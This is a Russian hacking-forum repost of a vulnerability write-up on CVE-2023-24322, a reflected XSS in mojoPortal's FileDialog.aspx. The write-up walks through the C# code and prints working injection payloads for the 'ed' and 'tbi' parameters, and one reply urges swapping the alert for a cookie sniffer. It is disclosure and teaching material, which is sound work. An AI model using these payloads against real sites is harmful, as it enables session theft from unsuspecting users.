• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Уязвимость XSS в приложении ASP.NET: разбираем CVE-2023-24322 в CMS mojoPortal

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
1054_XSS_mojoPortal_ru/image1.png

В этой статье изучим с разных сторон уязвимость XSS в CMS, написанной на C#. Вспомним теорию, разберёмся, как дефект безопасности выглядит со стороны пользователя и кода, а также поупражняемся в составлении эксплойтов.

Что такое cross-site scripting (XSS)?​

Примечание. Можете пропустить этот раздел, если уже знакомы с основами XSS.

XSS (cross-site scripting) — уязвимость веб-приложений, связанная с внедрением кода на страницу, выдаваемую пользователю. Если приложение уязвимо к XSS, злоумышленник может провести инъекцию JavaScript-кода и похитить данные или выполнить другую вредоносную логику.

Самый простой пример XSS — использование данных из параметров или полей ввода без их проверки / экранирования.

Допустим, есть JS-скрипт, который извлекает из строки запроса значение параметра name и приветствует пользователя на веб-странице:
JavaScript:
<script>
  var urlParams = new URLSearchParams(window.location.search);
  var nameParam = urlParams.get("name");
  var name = nameParam ? nameParam : "stranger";

  document.write('<div>Hello '+ name + '!</div>');
</script>
Выполняем запрос вида XSSExample.html?name=John и получаем ожидаемый ответ на странице — "Hello John!".

Однако если вместо имени передать скрипт, он также будет встроен в тело документа и исполнен.

Пример запроса:
Код:
XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>

Результат:
1054_XSS_mojoPortal_ru/image2.png


Нам удалось провести инъекцию кода. Этот дефект безопасности называется отражённой XSS (reflected XSS). Внедряемый скрипт никуда не сохраняется, а цель злоумышленника — заставить жертву выполнить небезопасный запрос к странице (например, кликнув по вредоносной ссылке). Естественно, не для того, чтобы показать формочку — это просто типовая демонстрация наличия XSS.

Разбор XSS в CMS mojoPortal (CVE-2023-24322)​

От теории и синтетики переходим к разбору конкретной XSS из Open Source проекта mojoPortal. mojoPortal — это CMS, написанная на C# с использованием ASP.NET. Код проекта доступен на GitHub, а уязвимость, которую мы сегодня будем разбирать, обнаружена в версии 2.7.0.0.

Рассматриваемая XSS-уязвимость имеет идентификатор CVE-2023-24322: A reflected cross-site scripting (XSS) vulnerability in the FileDialog.aspx component of mojoPortal v2.7.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.

Из описания достаём несколько важных фактов:
  • уязвимость находится на странице FileDialog.aspx;
  • эксплуатировать дефект безопасности можно через параметры запроса ed и tbi.
Что первым делом приходит в голову при попытке проверить XSS? Наверное, передать через уязвимый параметр данные вида <script>alert(0)</script>. :)

Попробуем записать эту строку в оба параметра и посмотрим, что произойдёт.

Запись в параметр ed не приводит к видимым результатам:

1054_XSS_mojoPortal_ru/image3.png



А вот если ту же строку передать через параметр tbi, то содержимое страницы изменится интересным образом:
1054_XSS_mojoPortal_ru/image4.png


Однако это всё равно не то, чего мы ожидали — всплывающего окошка (результат вызова alert) не появилось.

Чтобы лучше разобраться в происходящем и составить эксплойты, заглянем в исходный код и посмотрим, как используются значения параметров запроса.

Общая логика​


Посмотрим на код и попробуем понять, что объединяет параметры ed и tbi, после чего проанализируем обработку каждого из них.

Начнём с метода, который обрабатывает событие загрузки страницы FileDialog.aspxPage_Load:
Код:
protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}
В первую очередь нас интересует логика метода LoadSettings — в нём значения параметров ed и tbi записываются в поля editorType и clientTextBoxId соответственно.
Код:
public partial class FileDialog : Page
{
  private string editorType = string.Empty;
  private string clientTextBoxId = string.Empty;
  ....

  private void LoadSettings()
  {
    ....
    if (Request.QueryString["ed"] != null)
    {
      editorType = Request.QueryString["ed"];
    }
    ....
    if (Request.QueryString["tbi"] != null)
    {
      clientTextBoxId = Request.QueryString["tbi"];
    }
    ....
  }
  ....
}
Возвращаемся в Page_Load:
Код:
protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}
Проверка fileSystem == null даёт false, а метод PopulateLabels для нас не интересен. Так что посмотрим на тело SetupScripts:
Код:
private void SetupScripts()
{
  SetupMainScript();
  SetupjQueryFileTreeScript();
  SetupClearFileInputScript();
}
Здесь нас интересуют 2 метода: SetupMainScript и SetupjQueryFileTreeScript. Немного позже вы поймёте, почему.

Начнём с метода SetupMainScript:
Код:
private void SetupMainScript()
{
  switch (editorType)
  {
    case "tmc":
      SetupTinyMce();
      break;

    case "ck":
      SetupCKeditor();
      break;

    case "fck":
      SetupFCKeditor();
      break;

    default:
      SetupDefaultScript();
      break;
  }
}
Ага, switch по знакомому полю — editorType (параметр ed). Меняя значение параметра, мы влияем на логику исполнения кода. Сейчас нас интересует default-секция и вызов метода SetupDefaultScript:
Код:
//this is used by /Controls/FileBrowserTextBoxExtender.cs
private void SetupDefaultScript()
{
  btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; ");

  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append("function fbSubmit () {");

  if(browserType == "folder")
  {
    script.Append(
        "var URL = document.getElementById('"
      + hdnFolder.ClientID
      + "').value; ");
  }
  else
  {
    script.Append(
        "var URL = document.getElementById('"
      + hdnFileUrl.ClientID
      + "').value; ");
  }

  //script.Append("alert(URL);");

  script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');");
  //script.Append("window.close();");
  //script.Append("window.opener.focus();");

  script.Append("}");
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterClientScriptBlock(typeof(Page),
                                 "fbsubmit",
                                 script.ToString());
}
Интересно. Метод постепенно записывает JavaScript-код в переменную script, после чего регистрирует полученный скрипт через вызов метода RegisterClientScriptBlock. При этом в скрипт подставляется и значение поля clientTextBoxId, соответствующее параметру tbi.

Похожая история происходит и в методе SetupjQueryFileTreeScript, который я упоминал ранее. Метод также формирует и регистрирует скрипт, используя значение поля editorType (соответствует параметру ed).

Ниже привожу сокращённое тело метода SetupjQueryFileTreeScript, так как он достаточно объёмный. Код целиком можно посмотреть по ссылке.
Код:
private void SetupjQueryFileTreeScript()
{
  ....
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  ....
  script.Append(
      "var returnUrl = encodeURIComponent('"
    + navigationRoot
    + "/Dialog/FileDialog.aspx?ed="
    + editorType
    + "&type="
    + browserType
    + "&dir=' + selDir) ; ");
  ....
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterStartupScript(
        typeof(Page),
        "jqftinstance",
        script.ToString());
}
Давайте повторим ещё раз, так как это важный момент.

Оба рассмотренных метода — SetupDefaultScript и SetupjQueryFileTreeScript — имеют структуру общего вида и используют значения параметров HTTP-запроса tbi и ed для составления скрипта.

В обобщённом (и упрощённом) виде код методов выглядит так:
Код:
void SetupScript()
{
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append(....);
  // tbi and ed values are appended to the script
  ....
  script.Append("\n</script>");
  this.Page
      .RegisterScript(typeof(Page),
                      ....,
                      script.ToString());
}
Наша задача — попробовать "сломать" скрипт, записываемый в переменную script. Если всё удастся, мы изменим логику генерируемого скрипта и увидим результат инъекции кода.

Так как скрипты отличаются по структуре и вложенности, эксплойты тоже будут разными. Рассмотрим каждый из них по отдельности.

Примечание о форматировании скриптов. В статье я отформатировал JS-скрипты для удобства чтения. На самом деле они записываются в 2 строки: открывающий тег и тело скрипта на первой строке и закрывающий тег на второй:
Код:
<script type="text/javascript">function fbSubmit () { .... }
</script>
Здесь можно посмотреть на этот же скрипт без сокращений с оригинальным форматированием.

Помните про эту особенность, так как она влияет на эксплойт.

Эксплойт с использованием параметра tbi​

Скрипт с использованием параметра tbi выглядит попроще — с него и начнём.

Выполним запрос следующего вида:
Код:
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload
Тогда JS-код, который генерируется в методе SetupDefaultScript, может выглядеть так:
JavaScript:
<script type = "text/javascript">
  function fbSubmit() {
    var URL = document.getElementById('hdnFileUrl').value;
    top.window.SetUrl(URL, 'TestPayload');
  }
</script>
Обратите внимание на второй аргумент метода SetUrl: именно туда попали наши данные, будучи обёрнутыми в кавычки.

Наша задача — попробовать составить такой запрос, который "сломает" скрипт и даст возможность выполнить инъекцию кода. Для этого эксплойт должен решить ряд задач:
  • "закрыть" второй аргумент функции SetUrl;
  • "закрыть" вызов функции SetUrl;
  • выйти за пределы тела функции fbSubmit;
  • провести инъекцию кода;
  • закомментировать оставшийся кусок изначального кода (тот код, который закрывает шаблон подстановки).
Все поставленные задачи должна решить строка следующего вида:
Код:
TestPayload');}alert('You have been hacked via XSS');//
Разберём, за что отвечают её части:
  • TestPayload' "закрывает" аргумент функции;
  • ); "закрывает" вызов функции SetUrl;
  • } "закрывает" тело функции fbSubmit;
  • alert('You have been hacked via XSS'); — основная логика инъекции;
  • // — комментирует часть исходного шаблона, которая осталась после подстановки — ');}.
Теперь проверим наше предположение. Для этого выполним такой запрос:
Код:
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload');}alert('You have been hacked via XSS');//
Получаем ожидаемый результат:
1054_XSS_mojoPortal_ru/image5.png


Давайте посмотрим, как стал выглядеть генерируемый JS-код при таком запросе:
Код:
<script type = "text/javascript">
  function fbSubmit() {
    var URL = document.getElementById('hdnFileUrl').value;  
    top.window.SetUrl(URL, 'TestPayload');
  }
  alert('You have been hacked via XSS'); //');}
</script>
Как видно, эксплойт решил все поставленные задачи: с его помощью мы смогли выйти за рамки функции и успешно внедрить код.

Что ж, здорово! Мы поняли, как можно использовать параметр tbi, чтобы эксплуатировать XSS-уязвимость. Теперь переходим ко второму уязвимому параметру — ed.

Эксплойт с использованием параметра ed​

Принцип составления эксплойта для параметра ed аналогичен tbi.

Напомню, что интересующий нас JS-код, в который подставляется значение параметра ed, генерируется в методе SetupjQueryFileTreeScript.

Выполним запрос следующего вида:
Код:
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload
Теперь посмотрим на то, какой скрипт будет сгенерирован. Код целиком можно посмотреть здесь, ниже привожу сокращённый вариант:
Код:
<script type="text/javascript">
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog
           /FileDialog.aspx?ed=TestPayload&type=image&dir='
      + selDir);
      ....
    }, function (folder) {
      ....
    });
  });
  ....
</script>
Обратите внимание, что значение параметра ed — строка TestPayload — попала внутрь литерала.

Перед нами стоит задача, аналогичная той, что была в предыдущем случае. Нужно подобрать такие данные, которые помогли бы выйти за пределы аргумента функции encodeURIComponent и выполнить инъекцию кода.

Эксплойт так же, как и в прошлый раз, должен решать несколько задач:
  • "закрыть" аргумент функции encodeURIComponent;
  • "закрыть" вызовы и тела функций;
  • внедрить код;
  • закомментировать "хвост" шаблона, который останется после внедрения логики.
Под все требования подходит строка следующего вида:
Код:
TestPayload');});});alert('You have been hacked via XSS');//
Смысл её составляющих уже должен быть понятен:
  • TestPayload' "закрывает" аргумент функции encodeURIComponent;
  • ); "закрывает" вызов функции encodeURIComponent;
  • });}); используется для того, чтобы закрыть тела внешних функций;
  • alert('You have been hacked via XSS'); — основная логика инъекции кода;
  • // служит для комментирования части исходного скрипта, которая осталась после подстановки.
Выполняем запрос следующего вида:
Код:
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload');});});alert('You have been hacked via XSS');//
Смотрим на результат:

1054_XSS_mojoPortal_ru/image6.png

На выходе получили точно то, что ожидали.

С указанным выше значением параметра сгенерированный JS-код принял такой вид (сокращённая версия, полная — здесь):
Код:
<script type = "text/javascript">
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload');
    });
  });
  alert('You have been hacked via XSS'); //&type=image&dir=' + selDir ....
</script>
Всё сработало так, как мы и ожидали: мы смогли выйти из тел функции и внедрить собственный код. Обратите внимание на то, как данные из нашего запроса встроились в скрипт и изменили его логику:
1054_XSS_mojoPortal_ru/image7.png

Как исправили код?​

В текущей версии проекта файла FileDialog.aspx.cs, который и содержал уязвимости, нет. Предположу, что код переписали или попросту убрали.

Заключение​

Мы разобрали, как XSS может выглядеть на практике. Просуммируем основные моменты — пригодится, если захотите повозиться с этой уязвимостью самостоятельно:
  • CVE-ID: CVE-2023-24322
  • проект: mojoPortal v2.7.0.0
  • суть уязвимости: возможность выполнить XSS на странице /Dialog/FileDialog.aspx при использовании параметров ed и tbi
  • возможный эксплойт для ed: TestPayload');});});alert('You have been hacked via XSS');//
  • возможный эксплойт для tbi: TestPayload');}alert('You have been hacked via XSS');//
Автор @SergVasiliev
PVS-Studio
источник habr.com
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Зачем это сюда? Лучше бы написать статью про активные и пасивные , чем отличаются. Потом создание сниффера и установка на сервер , вместо алерта - сниф. Или посмотреть код, чтобы js выполнял загрузку файла... Столько моментов xss нужно уделять. Многие и не понимают как это можно использовать, сейчас почти каждый второй сайт с плохой фильтрацией , очень много хсс. Ну да и ладно, может кому то понравится
 
Зачем это сюда? Лучше бы написать статью про активные и пасивные , чем отличаются. Потом создание сниффера и установка на сервер , вместо алерта - сниф. Или посмотреть код, чтобы js выполнял загрузку файла... Столько моментов xss нужно уделять. Многие и не понимают как это можно использовать, сейчас почти каждый второй сайт с плохой фильтрацией , очень много хсс. Ну да и ладно, может кому то понравится
я добавляю на форум любой интересный материал, субъективно мне понравившейся
разбор интересный
лучше бы написать, согласен, но я больше читака, а не писака )
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх